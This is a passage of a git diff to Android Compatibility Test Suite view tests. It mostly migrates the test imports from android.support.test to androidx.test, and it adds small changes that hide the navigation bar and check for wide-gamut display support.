--- a/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/MenuInflaterTest.java
@@ -27,10 +27,6 @@
 import android.graphics.Bitmap;
 import android.graphics.ImageDecoder;
 import android.graphics.drawable.BitmapDrawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.Menu;
 import android.view.MenuInflater;
@@ -38,6 +34,11 @@
 import android.view.SubMenu;
 import android.widget.PopupMenu;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import junit.framework.Assert;
diff --git a/tests/tests/view/src/android/view/cts/MenuItemTest.java b/tests/tests/view/src/android/view/cts/MenuItemTest.java
index c9d362c..1b8ec0d 100644
--- a/tests/tests/view/src/android/view/cts/MenuItemTest.java
+++ b/tests/tests/view/src/android/view/cts/MenuItemTest.java
@@ -24,14 +24,15 @@
 import android.content.res.ColorStateList;
 import android.graphics.Color;
 import android.graphics.PorterDuff;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Menu;
 import android.view.MenuItem;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MenuTest.java b/tests/tests/view/src/android/view/cts/MenuTest.java
index 24af7bd..82ee2fe 100644
--- a/tests/tests/view/src/android/view/cts/MenuTest.java
+++ b/tests/tests/view/src/android/view/cts/MenuTest.java
@@ -21,16 +21,17 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.SystemClock;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.Menu;
 import android.view.MenuInflater;
 import android.view.MenuItem;
 import android.widget.PopupMenu;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MotionEventTest.java b/tests/tests/view/src/android/view/cts/MotionEventTest.java
index f9b2e4f..70707d2 100644
--- a/tests/tests/view/src/android/view/cts/MotionEventTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEventTest.java
@@ -29,8 +29,6 @@
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.InputDevice;
 import android.view.KeyEvent;
@@ -40,6 +38,9 @@
 import android.view.cts.MotionEventUtils.PointerCoordsBuilder;
 import android.view.cts.MotionEventUtils.PointerPropertiesBuilder;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java b/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
index 1f3acbb..e39f1cb 100644
--- a/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
@@ -18,11 +18,12 @@
 
 import static android.view.cts.MotionEventUtils.withCoords;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 import android.view.cts.MotionEventUtils.PointerCoordsBuilder;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java b/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
index ac05c1c..e6b8b56 100644
--- a/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
@@ -18,10 +18,11 @@
 
 import static android.view.cts.MotionEventUtils.withProperties;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java b/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
index c163440..f139632 100644
--- a/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
@@ -21,11 +21,12 @@
 import android.content.Context;
 import android.hardware.Sensor;
 import android.hardware.SensorManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.OrientationEventListener;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/OrientationListenerTest.java b/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
index 696f034..b6c58d1 100644
--- a/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
@@ -18,11 +18,12 @@
 
 import android.content.Context;
 import android.hardware.SensorManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.OrientationListener;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index e5f6560..ab24972 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -33,11 +33,6 @@
 import android.graphics.SurfaceTexture;
 import android.os.Debug;
 import android.os.Debug.MemoryInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Half;
 import android.util.Log;
 import android.view.PixelCopy;
@@ -45,6 +40,12 @@
 import android.view.View;
 import android.view.Window;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index 69e1e7f..054de45 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -65,6 +65,8 @@
 
         mContent = new ColoredGrid(this);
         setContentView(mContent);
+        View view = this.getWindow().getDecorView();
+        view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
         mContent.getViewTreeObserver().addOnDrawListener(this);
         mContent.setOnApplyWindowInsetsListener(this);
     }
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
index f697095..d8a512d 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
@@ -64,6 +64,8 @@
 
         mContent = new WideGamutBitmapView(this);
         setContentView(mContent);
+        View view = this.getWindow().getDecorView();
+        view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
         mContent.getViewTreeObserver().addOnDrawListener(this);
     }
 
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
index e6068ce..96e9717 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
@@ -35,15 +35,16 @@
 
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 import android.view.View;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java b/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
index 53dd062..51263bd 100644
--- a/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
+++ b/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
@@ -21,13 +21,14 @@
 
 import android.os.Handler;
 import android.os.Looper;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ScaleGestureDetector;
 import android.view.ScaleGestureDetector.SimpleOnScaleGestureListener;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/SearchEventTest.java b/tests/tests/view/src/android/view/cts/SearchEventTest.java
index b679fac..8ff8923 100644
--- a/tests/tests/view/src/android/view/cts/SearchEventTest.java
+++ b/tests/tests/view/src/android/view/cts/SearchEventTest.java
@@ -23,14 +23,15 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.hardware.input.InputManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.SearchEvent;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
index 186e06d..d8c2e8e 100644
--- a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
+++ b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
@@ -18,11 +18,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.SoundEffectConstants;
 import android.view.View;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java b/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
index 79990e9..ea8925f 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
@@ -18,10 +18,11 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.SurfaceHolder.BadSurfaceTypeException;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
index 2a14a8d..5406ee4 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -27,9 +27,6 @@
 import android.graphics.Paint;
 import android.media.MediaPlayer;
 import android.os.Environment;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.util.Log;
 import android.util.SparseArray;
@@ -45,6 +42,10 @@
 import android.view.cts.surfacevalidator.ViewFactory;
 import android.widget.FrameLayout;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
index 3ccca48..966e44d 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
@@ -24,17 +24,18 @@
 import android.app.Instrumentation;
 import android.graphics.PixelFormat;
 import android.graphics.Region;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
 import android.view.ViewGroup;
 import android.view.cts.SurfaceViewCtsActivity.MockSurfaceView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java b/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
index 438ff1b..492d6fe 100644
--- a/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
@@ -16,10 +16,11 @@
 
 package android.view.cts;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Surface;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
index 63d4d5e..b22c2d0 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
@@ -19,9 +19,10 @@
 import static org.junit.Assert.assertTrue;
 
 import android.hardware.Camera;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 52a0a8d..8b0d4c7 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -371,6 +371,12 @@
             if (mIsEGLWideGamut && !extensions.contains("EXT_pixel_format_float")) {
                 mEGLExtensionUnsupported = true;
             }
+            // If the extension is present but the device doesn't claim to have a wide color gamut
+            // display then it might not return any actual float formats.
+            if (mIsEGLWideGamut && !mEGLExtensionUnsupported
+                    && !getWindowManager().getDefaultDisplay().isWideColorGamut()) {
+                mEGLExtensionUnsupported = true;
+            }
 
             mEglConfig = chooseEglConfig();
             if (mEglConfig == null) {
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 431b27d..682483d 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -33,15 +33,16 @@
 import android.graphics.Matrix;
 import android.graphics.Point;
 import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Half;
 import android.view.PixelCopy;
 import android.view.TextureView;
 import android.view.View;
 import android.view.Window;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 90ab139..8fefb50 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -23,10 +23,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.Gravity;
 import android.view.InputDevice;
@@ -38,6 +34,11 @@
 import android.widget.PopupWindow;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
index 9c94d4c..17845d8 100644
--- a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
@@ -22,13 +22,13 @@
 
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 import android.view.MotionEvent;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
index 955cf7c..b7a0787 100644
--- a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
+++ b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
@@ -18,12 +18,13 @@
 
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.MotionEvent;
 import android.view.VelocityTracker;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 2c88b25..197f867 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -18,11 +18,12 @@
 
 import static org.junit.Assert.assertNotNull;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewConfiguration;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/ViewDebugTest.java b/tests/tests/view/src/android/view/cts/ViewDebugTest.java
index 8af8bd9..9348a05 100644
--- a/tests/tests/view/src/android/view/cts/ViewDebugTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewDebugTest.java
@@ -19,10 +19,11 @@
 
 import static org.junit.Assert.assertFalse;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewDebug;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java b/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
index f1b3ea5..ade66cb 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
@@ -31,17 +31,18 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Pair;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewGroupOverlay;
 import android.view.cts.util.DrawingUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index fef5eba..7049186 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -43,13 +43,6 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.DisplayMetrics;
 import android.util.SparseArray;
@@ -76,6 +69,14 @@
 import android.widget.Button;
 import android.widget.TextView;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CTSResult;
 
 import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
index 1c6810a..b4e6e95 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
@@ -21,13 +21,14 @@
 import android.content.Context;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 import android.view.ViewGroup.LayoutParams;
 import android.view.cts.util.XmlUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
index 0867338..fe598a2 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
@@ -23,9 +23,6 @@
 import android.content.Context;
 import android.content.res.XmlResourceParser;
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
@@ -33,6 +30,10 @@
 import android.view.cts.util.XmlUtils;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
index 1696610..5921ad4 100644
--- a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
@@ -23,14 +23,15 @@
 import android.graphics.Outline;
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewOutlineProvider;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewOverlayTest.java b/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
index b1f7363..488532e 100644
--- a/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
@@ -22,15 +22,16 @@
 import android.graphics.Rect;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Pair;
 import android.view.View;
 import android.view.ViewOverlay;
 import android.view.cts.util.DrawingUtils;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
index 60fa170..ec54a82 100644
--- a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
@@ -20,13 +20,14 @@
 
 import android.content.Context;
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewStubTest.java b/tests/tests/view/src/android/view/cts/ViewStubTest.java
index 3aef2bb..f425ff8 100644
--- a/tests/tests/view/src/android/view/cts/ViewStubTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewStubTest.java
@@ -29,10 +29,6 @@
 import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -40,6 +36,11 @@
 import android.view.ViewStub;
 import android.widget.LinearLayout;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
